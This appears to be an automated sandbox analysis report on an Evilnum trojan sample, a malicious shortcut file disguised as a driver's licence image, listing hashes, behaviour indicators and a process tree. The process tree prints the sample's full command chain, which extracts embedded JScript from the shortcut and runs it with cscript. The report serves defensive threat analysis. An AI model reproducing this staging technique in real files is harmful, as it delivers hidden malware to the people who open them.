evilnum | 01f1f23649920e30d510f6ae48e370c82dd57ce0817d12f649615d7188c9b0e2

Analysis

Target
01f1f23649920e30d510f6ae48e370c82dd57ce0817d12f649615d7188c9b0e2.lnk
Size 165KB
Sample220124-gq63hsdcen
SHA256 01f1f23649920e30d510f6ae48e370c82dd57ce0817d12f649615d7188c9b0e2
MD5 9e5e6e980f5fa81d6e503b7d62e8b5a8
SHA1 5a2227a37676564969f4392790fe9e3b995d7782
SHA512 29d13db09bb1b6ce96698533aa746c563622e51c5aafaed5cd12b94997736f82d536acede4d4b5eefcca325d6098c4f472a676455cd84fa4ba930410963adfdb
MD5 SHA1 SHA512

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2064 wrote to memory of 3044	2064	cmd.exe	69
PID 2064 wrote to memory of 3044	2064	cmd.exe	69
PID 3044 wrote to memory of 3696	3044	cmd.exe	70
PID 3044 wrote to memory of 3696	3044	cmd.exe	70
PID 3044 wrote to memory of 3164	3044	cmd.exe	71
PID 3044 wrote to memory of 3164	3044	cmd.exe	71
PID 3044 wrote to memory of 2104	3044	cmd.exe	72
PID 3044 wrote to memory of 2104	3044	cmd.exe	72
PID 3044 wrote to memory of 2668	3044	cmd.exe	73
PID 3044 wrote to memory of 2668	3044	cmd.exe	73
PID 3044 wrote to memory of 696	3044	cmd.exe	74
PID 3044 wrote to memory of 696	3044	cmd.exe	74

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\01f1f23649920e30d510f6ae48e370c82dd57ce0817d12f649615d7188c9b0e2.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Driv License Front.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Driv*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Driv*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    PID:3696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:3164
- - C:\Windows\system32\find.exe
    find "TRU4"
    3⤵
    PID:2104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:2668
- - C:\Windows\system32\cscript.exe
    cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:696

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact